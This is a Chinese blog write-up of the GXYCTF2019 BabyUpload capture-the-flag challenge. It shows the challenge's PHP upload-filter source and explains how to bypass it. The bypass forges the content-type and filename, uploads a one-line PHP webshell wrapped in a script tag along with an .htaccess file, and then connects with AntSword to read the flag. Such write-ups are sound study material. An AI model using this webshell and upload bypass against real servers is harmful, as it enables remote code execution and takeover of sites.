web16:[GXYCTF2019]BabyUpload
1.CTF学习(2):Misc(你竟然赶我走)2.CTF学习( 3):Misc(二维码)3.CTF学习( 4):Misc(大白)4.CTF学习(5):Misc(乌镇峰会种图)5.CTF学习(6):Misc(wireshark)6.CTF学习(7):Misc(N种方法解决)7.CTF学习(8):Misc(基础破解)8.CTF学习(9):Misc(zip伪加密)9.CTF学习(10):Misc(LSB)10.CTF学习(11):Misc(被嗅探的流量)11.CTF学习(12):Misc(爱因斯坦)12.CTF学习:WEB(小合集)13.CTF学习(13)MISC(另一个世界)14.CTF学习(14)MISC(数据包中的线索)15.CTF学习(14)MISC(神秘龙卷风)16.CTF学习(15)MISC(FLAG)17.CTF学习(16)MISC(假如给我三天光明)18.CTF学习(17)MISC(后门查杀/webshell后门)
19.web16:[GXYCTF2019]BabyUpload
20.web17([SUCTF 2019]CheckIn):21.CTF学习(18)MISC(来首歌吧)22.CTF学习(19)MISC(面具下的flag)23.CTF学习(20)MISC(荷兰宽带数据泄露)24.CTF学习(21)MISC(九连环)25.CTF学习(22)MISC([BJDCTF2020]认真你就输)26.CTF学习(23)MISC(被劫持的神秘礼物)27.web18([GXYCTF2019]BabySQli):28.web19([GYCTF2020]Blacklist):29.web20([极客大挑战 2019]LoveSQL):1.进入源文件开始看看
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>
发现:
(1)限制了文件后缀,不能出现"ph"
(2)content-type必须为:"image/jpeg" 、"image/pjpeg"
(3)文件内存不能出现"/<?/i"等字符
2.使用<script></script>
将一句话木马包裹后再进行上传,上传过程中在抓包发给bp修改filename为".jpg" ,content-type修改为"image/jpeg"(上传成功)
一句话木马:
<script language='php'>eval($_POST[a]);</script>
3.上传 .htaccess 文件(content-type 同样改成"image/jpeg")--->回到第二步的repeater将filename从"2.jpg"修改成"abc"后再次上传
4.将上传后的地址加上URL组合,在蚁剑登录服务器--->flag就在文件根目录
FLAG:flag{057d2c48-8926-49d2-893f-26ed50089d47}
合集:
CTF学习
分类:
CTF学习(WEB)
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析